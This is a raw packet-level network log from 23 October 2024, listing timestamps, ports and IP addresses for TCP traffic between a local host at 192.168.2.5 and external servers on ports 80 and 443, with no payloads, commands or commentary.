Oct 23, 2024 15:49:14.588104963 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.588116884 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.588133097 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.588150024 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.588161945 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.588184118 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.588193893 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.588198900 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.588227034 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.588242054 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.588354111 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.588370085 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.588385105 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.588398933 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.588413000 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.588423967 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.588440895 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.588478088 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.588648081 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.588699102 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.588726044 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.588747978 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.588774920 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.588788986 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.588804007 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.588810921 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.588820934 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.588824987 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.588835955 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.588845968 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.588851929 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.588857889 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.588876963 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.588897943 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.588911057 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.588926077 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.588933945 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.588988066 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.589014053 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.589019060 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.589034081 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.589056969 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.589066982 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.589072943 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.589087963 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.589097023 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.589097977 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.589111090 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.589113951 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.589129925 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.589133024 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.589145899 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.589157104 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.589170933 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.589191914 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.589276075 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.589299917 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.589315891 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.589315891 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.589330912 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.589339972 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.589349031 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.589365005 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.589365005 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.589371920 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.589379072 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.589412928 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.589412928 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.589427948 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.589443922 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.589458942 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.589459896 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.589469910 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.589493990 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.589504957 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.605549097 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.605582952 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.605617046 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.605634928 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.605662107 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.612404108 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.612457991 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.612500906 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.612508059 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.612526894 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.612541914 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.612557888 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.612571955 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.612586021 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.612613916 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.612623930 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.612657070 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.612669945 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.612699032 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.625989914 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.626085997 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.626101017 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.626116991 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.626132965 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.626162052 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.626208067 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.658138990 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.658212900 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.658246994 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.658269882 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.658282995 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.658288002 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.658329964 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:16.354305029 CEST	49988	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:49:16.354350090 CEST	443	49988	104.102.49.254	192.168.2.5
Oct 23, 2024 15:49:16.354440928 CEST	49988	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:49:16.355429888 CEST	49988	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:49:16.355447054 CEST	443	49988	104.102.49.254	192.168.2.5
Oct 23, 2024 15:49:16.933902025 CEST	49961	80	192.168.2.5	185.215.113.43
Oct 23, 2024 15:49:16.934180021 CEST	49989	80	192.168.2.5	185.215.113.43
Oct 23, 2024 15:49:16.939927101 CEST	80	49961	185.215.113.43	192.168.2.5
Oct 23, 2024 15:49:16.940105915 CEST	49961	80	192.168.2.5	185.215.113.43
Oct 23, 2024 15:49:16.940298080 CEST	80	49989	185.215.113.43	192.168.2.5
Oct 23, 2024 15:49:16.940375090 CEST	49989	80	192.168.2.5	185.215.113.43
Oct 23, 2024 15:49:16.940507889 CEST	49989	80	192.168.2.5	185.215.113.43
Oct 23, 2024 15:49:16.946336031 CEST	80	49989	185.215.113.43	192.168.2.5
Oct 23, 2024 15:49:17.195545912 CEST	443	49988	104.102.49.254	192.168.2.5
Oct 23, 2024 15:49:17.195768118 CEST	49988	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:49:17.199305058 CEST	49988	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:49:17.199321985 CEST	443	49988	104.102.49.254	192.168.2.5
Oct 23, 2024 15:49:17.199527979 CEST	443	49988	104.102.49.254	192.168.2.5
Oct 23, 2024 15:49:17.240719080 CEST	49988	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:49:17.283338070 CEST	443	49988	104.102.49.254	192.168.2.5
Oct 23, 2024 15:49:17.811894894 CEST	443	49988	104.102.49.254	192.168.2.5
Oct 23, 2024 15:49:17.811924934 CEST	443	49988	104.102.49.254	192.168.2.5
Oct 23, 2024 15:49:17.812051058 CEST	49988	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:49:17.812114000 CEST	443	49988	104.102.49.254	192.168.2.5
Oct 23, 2024 15:49:17.812159061 CEST	443	49988	104.102.49.254	192.168.2.5
Oct 23, 2024 15:49:17.812200069 CEST	49988	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:49:17.812213898 CEST	443	49988	104.102.49.254	192.168.2.5
Oct 23, 2024 15:49:17.812252998 CEST	49988	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:49:17.812268019 CEST	49988	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:49:17.814013958 CEST	443	49988	104.102.49.254	192.168.2.5
Oct 23, 2024 15:49:17.814066887 CEST	443	49988	104.102.49.254	192.168.2.5
Oct 23, 2024 15:49:17.814095020 CEST	443	49988	104.102.49.254	192.168.2.5
Oct 23, 2024 15:49:17.814097881 CEST	49988	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:49:17.814124107 CEST	49988	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:49:17.814141989 CEST	49988	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:49:17.814296961 CEST	49988	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:49:17.814335108 CEST	443	49988	104.102.49.254	192.168.2.5
Oct 23, 2024 15:49:17.814363956 CEST	49988	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:49:17.814378023 CEST	443	49988	104.102.49.254	192.168.2.5
Oct 23, 2024 15:49:17.867388010 CEST	80	49989	185.215.113.43	192.168.2.5
Oct 23, 2024 15:49:17.867466927 CEST	49989	80	192.168.2.5	185.215.113.43
Oct 23, 2024 15:49:17.870639086 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:17.870924950 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:17.876749039 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:17.876943111 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:17.877007961 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:17.877062082 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:17.878654957 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:17.883982897 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:18.868527889 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:18.868570089 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:18.868623018 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:18.868630886 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:18.868632078 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:18.868658066 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:18.868693113 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:18.868700027 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:18.868700027 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:18.868736982 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:18.868746042 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:18.868782043 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:18.868793011 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:18.868815899 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:18.868832111 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:18.868851900 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:18.868865967 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:18.868887901 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:18.868902922 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:18.868926048 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:18.868937969 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:18.868974924 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:18.941040039 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:18.941097975 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:18.941133976 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:18.941168070 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:18.941169024 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:18.941205025 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:18.941231012 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:18.946544886 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:18.946580887 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:18.946607113 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:18.946614981 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:18.946635962 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:18.946650028 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:18.946659088 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:18.946691990 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:18.952064991 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:18.952100992 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:18.952121973 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:18.952136040 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:18.952142000 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:18.952172041 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:18.952178955 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:18.952215910 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.059855938 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.059884071 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.059917927 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.059954882 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.059987068 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.060036898 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.065095901 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.065130949 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.065203905 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.065259933 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.065294981 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.065341949 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.070538044 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.070574045 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.070609093 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.070643902 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.070643902 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.070693016 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.070693016 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.102447033 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.102494001 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.102533102 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.102570057 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.102582932 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.102612019 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.102612972 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.178613901 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.178726912 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.178764105 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.178798914 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.178828001 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.178837061 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.178895950 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.178895950 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.178908110 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.178950071 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.178963900 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.178986073 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.179003954 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.179033995 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.179613113 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.179671049 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.179716110 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.179770947 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.221016884 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.221040010 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.221067905 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.221084118 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.221153975 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.221168041 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.221221924 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.221221924 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.221221924 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.221221924 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.299096107 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.299148083 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.299185991 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.299221992 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.299340963 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.299340963 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.299340963 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.299482107 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.299515009 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.299607038 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.299631119 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.299645901 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.299676895 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.299700022 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.300156116 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.300213099 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.300302029 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.300458908 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.340003967 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.340042114 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.340058088 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.340065956 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.340110064 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.340110064 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.387984991 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.388005018 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.388020992 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.388046026 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.388072968 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.417049885 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.417097092 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.417134047 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.417171001 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.417195082 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.417195082 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.417279959 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.417380095 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.417433977 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.417434931 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.417469025 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.417480946 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.417505026 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.417521000 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.417737007 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.418139935 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.418199062 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.418560028 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.418623924 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.458781004 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.459007978 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.459041119 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.459076881 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.459078074 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.459112883 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.459121943 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.505137920 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.505191088 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.505232096 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.505326033 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.505376101 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.535151005 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.535188913 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.535226107 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.535262108 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.535305977 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.535305977 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.535387039 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.535393000 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.535501003 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.535666943 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.536406994 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.536906004 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.536967039 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.537185907 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.537242889 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.537473917 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.537530899 CEST	49990	80	192.168.2.5	185.215.113.16
